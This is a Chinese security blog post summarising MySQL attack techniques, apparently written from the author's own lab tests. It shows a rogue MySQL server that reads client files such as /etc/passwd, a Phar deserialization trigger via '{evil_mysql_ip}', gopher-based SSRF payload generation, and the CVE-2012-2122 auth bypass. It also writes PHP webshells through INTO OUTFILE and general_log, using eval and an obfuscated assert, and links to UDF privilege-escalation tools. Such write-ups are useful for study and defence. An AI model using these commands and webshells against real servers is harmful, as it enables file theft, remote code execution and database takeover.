文章归档

置顶文章

Web安全

Web安全基础

PHP相关

Writeups

靶机系列

HackTheBox-Retired

HackTheBox-Active

VulnHub

代码审计

PHP代码审计

大数据安全

机器学习

基础学习

Python

Python基础

Python安全

Java

Java基础

Java安全

算法

Leetcode

随笔

经验

技术

 2020-12-10   2.3k

MySQL攻击面和提权总结

本次实验使用腾讯云主机的MySQL Server作为服务端,阿里云主机作为MySQL客户端。

其中均使用宝塔面板搭建MySQL8.0版本。

首先要开放腾讯云主机的端口,并且允许MySQL Server允许任意用户远程登录。

0x01 攻击面——MySQL客户端任意文件读取

适用范围:全版本 MySQL/MariaDB Client

条件:客户端连接时开启 –enable-local-infile

一开始做实验的时候有点懵逼,我作为攻击方去连接受害者的MySQL客户端,然后再读取我本地的文件???

后来我再网上查看这个攻击面的利用场景,虽然确实用的地方比较少,但是看了LoRexxar这篇文章之后,还是很有收获的。

这个实验的前提MySQL变量local_infile=1

CTFer对MySQL的load data infile语句应该都是比较熟悉的,一般形式:

1
load data infile "/etc/passwd" into table mytable FIELDS TERMINATED BY '\n';

MySQL Server会读取服务端的/etc/passwd然后将数据按照\n分割插入表中,但是非local加载的语句收到secure_file_priv的限制:

1
2
3
4
5
6
7
8
9
mysql> load data infile "/etc/passwd" into table mytable FIELDS TERMINATED BY '\n';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
mysql> select @@secure_file_priv;
+--------------------+
| @@secure_file_priv |
+--------------------+
| NULL |
+--------------------+
1 row in set (0.00 sec)

但是加上一个local关键字:

1
2
3
mysql> load data local infile "/etc/passwd" into table mytable FIELDS TERMINATED BY '\n';
Query OK, 4 rows affected, 1 warning (0.02 sec)
Records: 4 Deleted: 0 Skipped: 0 Warnings: 1

是可以成功执行的,相当于是读取客户端的文件发送到服务端。

MySQL认为服务端可以要求客户端读取有可读权限的任何文件,客户端不应该连接到不可信的服务端

那么现在的问题就是如何构造一个恶意的MySQL服务端。

在搞清楚这个问题之前,我们需要研究一下mysql正常执行链接和查询的数据包结构。

  1. Sever返回greeting包,包含版本,协议类型,salt值,server功能项

  1. 客户端登录请求

不知道为啥请求包没有显示用户名,可能是MySQL版本的原因。

  1. 初始化查询

由于使用了SSL通信,所以这里看不到具体的初始化查询语句。

  1. Load file data

这次得把MySQL的SSL连接关闭掉,不然看不到执行语句。方法就是在MySQL的配置文件my.conf的[mysqld]添加skip_ssl即可,再在客户端检查一下是否已经关闭SSL:

确认关闭后,执行load file data语句

1
load data local infile '/etc/passwd' into table mytable FIELDS TERMINATED BY '\n';

首先是客户端发发送查询

接着服务端返回了需要的路径,功能类似于告诉客户端把这个文件发给我让我看看

****

然后客户端直接把内容发送到了服务端

从上面这个流程可以看出,客户端读取文件的路径并不是从客户端指定的,而是从服务端指定再发送客户端。

正常的查询流程:

1
2
3
Client: 我要把/etc/passwd插入表中
Server: 我要你的/etc/passwd的内容
Client: /etc/passwd的内容为...

如果是一个恶意的服务端,可以把流程更改为:

1
2
3
Client: 我要test表中的内容
Server: 我要你的/etc/passwd的内容
Client: /etc/passwd的内容为???

并且从MySQL的官方文档中指出服务端可以在任何查询语句后回复文件传输请求,也就是说上面第三个语句是可以执行的。

所以构造一个恶意服务端的流程就是:1.回复MySQL client一个greeting包;2.等待client端发送一个查询包;3.回复一个file transfer包。

发现这个漏洞的原作者给出了POC,但是LoRexxar文中提到这个POC并没有适配所有的情况,部分mysql客户端会在登陆成功之后发送ping包,如果没有回复就会断开连接,也有部分mysql client端对greeting包有较强的校验。

这里就拿网上更改之后的POC来拿做实验:https://github.com/allyshka/Rogue-MySql-Server

  1. 暂停MySQL Server服务
1
service mysqld stop
  1. 运行恶意MySQL服务器脚本
1
python rogue_mysql_server.py
  1. 客户端访问MySQL服务器
1
mysql -h xxx -u root -p
  1. 查看mysql.log文件

LoRexxar文章中还接着提到了关于这个漏洞的进一步利用,比如说读取配置文件,Phar反序列化等等。

其中Phar反序列化这个还挺有意思的,首先生成一个phar:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class A {
public $s = '';
public function __wakeup () {
echo "pwned!!";
}
}


@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a "."<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new A();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

然后用test.php模拟一次查询

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class A {
public $s = '';
public function __wakeup () {
echo "pwned!!";
}
}


$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, '{evil_mysql_ip}', 'root', '123456', 'test', 3667);
$p = mysqli_query($m, 'select 1;');

伪造的evil mysql server中让mysql client去做load file local查询,读取本地的phar文件。

0x02 攻击面——利用SSRF攻击MySQL

适用范围:全版本 MySQL/MariaDB Server

条件:拥有空密码用户

之前在总结SSRF漏洞的时候提到过利用SSRF攻击Redis和FastCGI,没写过关于MySQL。

同样的,利用SSRF攻击MySQL也需要了解MySQL的完整交互协议,并且伪造客户端,通过SSRF进行交互连接。

参考文章同样来自于一篇Seebug上的文章:https://paper.seebug.org/510/

这个利用条件比较苛刻,可以归属于未授权访问,因为非交互模式下登录并操作MySQL只能无需密码认证。

关于MySQL的认证过程和报文格式我就不多叙述,这里直接演示一下过程,以腾讯云主机MySQL80作为实验机,本地登录。

首先需要新建一个MySQL用户,并且密码为空,使用root登录MySQL后执行如下命令:

1
2
3
CREATE USER ' usernopass'@'localhost';
GRANT USAGE ON *.* TO ' usernopass'@'localhost';
GRANT ALL ON *.* TO ' usernopass'@'localhost';

有两个办法,一种是用gopherus工具直接生成payload。

另外一种是自己抓包生成原始数据流,再转换成gopher协议的格式。

再利用脚本转换一下:

1
2
3
4
5
6
7
8
def result(s):
a=[s[i:i+2] for i in xrange(0,len(s),2)]
return "curl gopher://127.0.0.1:3306/_%" + "%".join(a)

if __name__ == '__main__':
import sys
s=sys.argv[1]
print result(s)

但是这两种办法我都没能复现出来,可能是看不到执行的结果。

接下来,可以使用SSRF攻击MySQL,那么就可以利用MySQL写入webshell,但是要求secure_file_priv不能为空。

0x03攻击面——MySQL服务端文件读写

这个就比较简单了,但是对要求服务端配置可读写目录和正确的用户权限。

读文件:

1
SELECT LOAD_FILE ('/var/lib/mysql-files/aaa') AS Result;
1
2
3
create database test;
CREATE TABLE test (id TEXT, content TEXT);
load data infile "/var/lib/mysql-files/aaa" into table test.test FIELDS TERMINATED BY '\n\r' ;

写文件:

1
select group_concat (id) from test INTO OUTFILE "/var/lib/mysql-files/aaaa";

0x04提权

提权就不写那么详细了,主要是参考m00nback的文章:https://www.m00nback.xyz/2020/03/30/mysql提权总结/

CVE-2012-2122

该漏洞是身份认证绕过漏洞,当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。

影响版本:

  • MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
  • MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.

MSF有相关利用模块:use auxiliary/scanner/mysql/mysql_authbypass_hashdump

写shell

outfile写shell

跟上面描述的差不多,关键还是secure_file_priv这个参数,而且是只读参数,必须更改MySQL的配置文件再重启MySQL服务。

来个🌰

1
select '<?php @eval($_POST[1]);?>' into outfile "/var/lib/mysql-files/aaa";

日志写shell

前提是知道MySQL root用户密码,第一步开启日志记录:

1
set global general_log='on';

日志文件导出到指定目录:

1
set global general_log_file="/tmp/shell.php";

记录SQL语句写shell:

1
select "<?php array_udiff_assoc(array($_REQUEST[1]), array(1), "ass"."ert");?>";

关闭记录:

1
set global general_log='off';

UDF提权

大马提权:https://github.com/echohun/tools/blob/master/大马/udf.php

手工提权:https://github.com/rapid7/metasploit-framework/tree/master/data/exploits/mysql

https://cooltige.com/2020/06/02/Mysql-Udf提权/

https://xz.aliyun.com/t/2199

Copyright © ca01h 2019-2021 | 本站总访问量